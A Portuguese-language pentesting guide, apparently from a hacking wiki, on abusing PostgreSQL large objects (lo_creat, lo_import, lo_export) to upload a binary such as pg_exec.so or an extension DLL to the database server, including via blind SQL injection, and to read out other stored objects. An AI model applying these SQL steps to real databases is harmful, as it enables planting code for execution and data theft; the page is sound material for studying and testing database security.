5.4 KiB
Objetos Grandes do PostgreSQL
O PostgreSQL expõe uma estrutura chamada de objeto grande (tabela pg_largeobject), que é usada para armazenar dados que seriam difíceis de manipular em sua totalidade (como uma imagem ou um documento PDF). Ao contrário da função COPY TO
, a vantagem dos objetos grandes reside no fato de que os dados que eles armazenam podem ser exportados de volta para o sistema de arquivos como uma cópia idêntica do arquivo original importado.
Para salvar um arquivo completo dentro desta tabela, você primeiro precisa criar um objeto dentro da tabela mencionada (identificado por um LOID) e, em seguida, inserir pedaços de 2KB dentro deste objeto. É muito importante que todos os pedaços tenham 2KB (exceto possivelmente o último) ou a função de exportação para o sistema de arquivos não funcionará.
Para dividir seu binário em pedaços de tamanho 2KB, você pode fazer:
split -b 2048 pg_exec.so #This will create files of size 2KB
Para codificar cada um dos arquivos criados em Base64 ou Hex, você pode usar:
base64 -w 0 <Chunk_file> #Encoded in 1 line
xxd -ps -c 99999999999 <Chunk_file> #Encoded in 1 line
{% hint style="info" %}
Ao explorar isso, lembre-se de que você precisa enviar pedaços de 2KB de bytes de texto claro (não 2KB de bytes codificados em base64 ou hex). Se você tentar automatizar isso, o tamanho de um arquivo codificado em hex é o dobro (então você precisa enviar 4KB de dados codificados para cada pedaço) e o tamanho de um arquivo codificado em base64 é ceil(n / 3) * 4
.
{% endhint %}
Além disso, depurando o processo, você pode ver o conteúdo dos grandes objetos criados com:
select loid, pageno, encode(data, 'escape') from pg_largeobject;
Usando lo_creat & Base64
Primeiro, precisamos criar um LOID onde os dados binários serão salvos:
SELECT lo_creat(-1); -- returns OID of new, empty large object
SELECT lo_create(173454); -- attempts to create large object with OID 43213
Se você estiver explorando uma Injeção de SQL cega, você estará mais interessado em usar lo_create
com um LOID fixo para que você saiba onde deve fazer o upload do conteúdo.
Além disso, observe que não há erro de sintaxe, as funções são lo_creat
e lo_create
.
LOID é usado para identificar o objeto na tabela pg_largeobject
. A inserção de pedaços de tamanho 2KB na tabela pg_largeobject
pode ser realizada usando:
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 1, decode('<B64 chunk2>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 3, decode('<B64 chunk2>', 'base64'));
Finalmente, você pode exportar o arquivo para o sistema de arquivos fazendo (durante este exemplo, o LOID usado foi 173454
):
SELECT lo_export(173454, '/tmp/pg_exec.so');
{% hint style="info" %} Observe que nas versões mais recentes do postgres você pode precisar fazer upload das extensões sem indicar nenhum caminho. Leia isso para mais informações. {% endhint %}
Você possivelmente pode estar interessado em excluir o objeto grande criado após exportá-lo:
SELECT lo_unlink(173454); -- deletes large object with OID 173454
Usando lo_import & Hex
Neste cenário, lo_import será usado para criar um objeto de grande tamanho. Felizmente, neste caso, você pode (e não pode) especificar o LOID que deseja usar:
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts');
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts', 173454);
Depois de criar o objeto, você pode começar a inserir os dados em cada página (lembre-se, você tem que inserir pedaços de 2KB):
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=2;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=3;
O HEX deve ser apenas o hex (sem 0x
ou \x
), exemplo:
update pg_largeobject set data=decode('68656c6c6f', 'hex') where loid=173454 and pageno=0;
Finalmente, exporte os dados para um arquivo e exclua o objeto grande:
select lo_export(173454, 'C:\\path\to\pg_extension.dll');
select lo_unlink(173454); -- deletes large object with OID 173454
{% hint style="info" %} Observe que nas versões mais recentes do postgres você pode precisar carregar as extensões sem indicar nenhum caminho. Leia isso para mais informações. {% endhint %}
Limitações
Depois de ler a documentação de objetos grandes no PostgreSQL, podemos descobrir que objetos grandes podem ter ACL (Lista de Controle de Acesso). É possível configurar novos objetos grandes para que seu usuário não tenha privilégios suficientes para lê-los, mesmo que tenham sido criados pelo seu usuário.
No entanto, pode haver um objeto antigo com uma ACL que permite que o usuário atual o leia, então podemos exfiltrar o conteúdo desse objeto.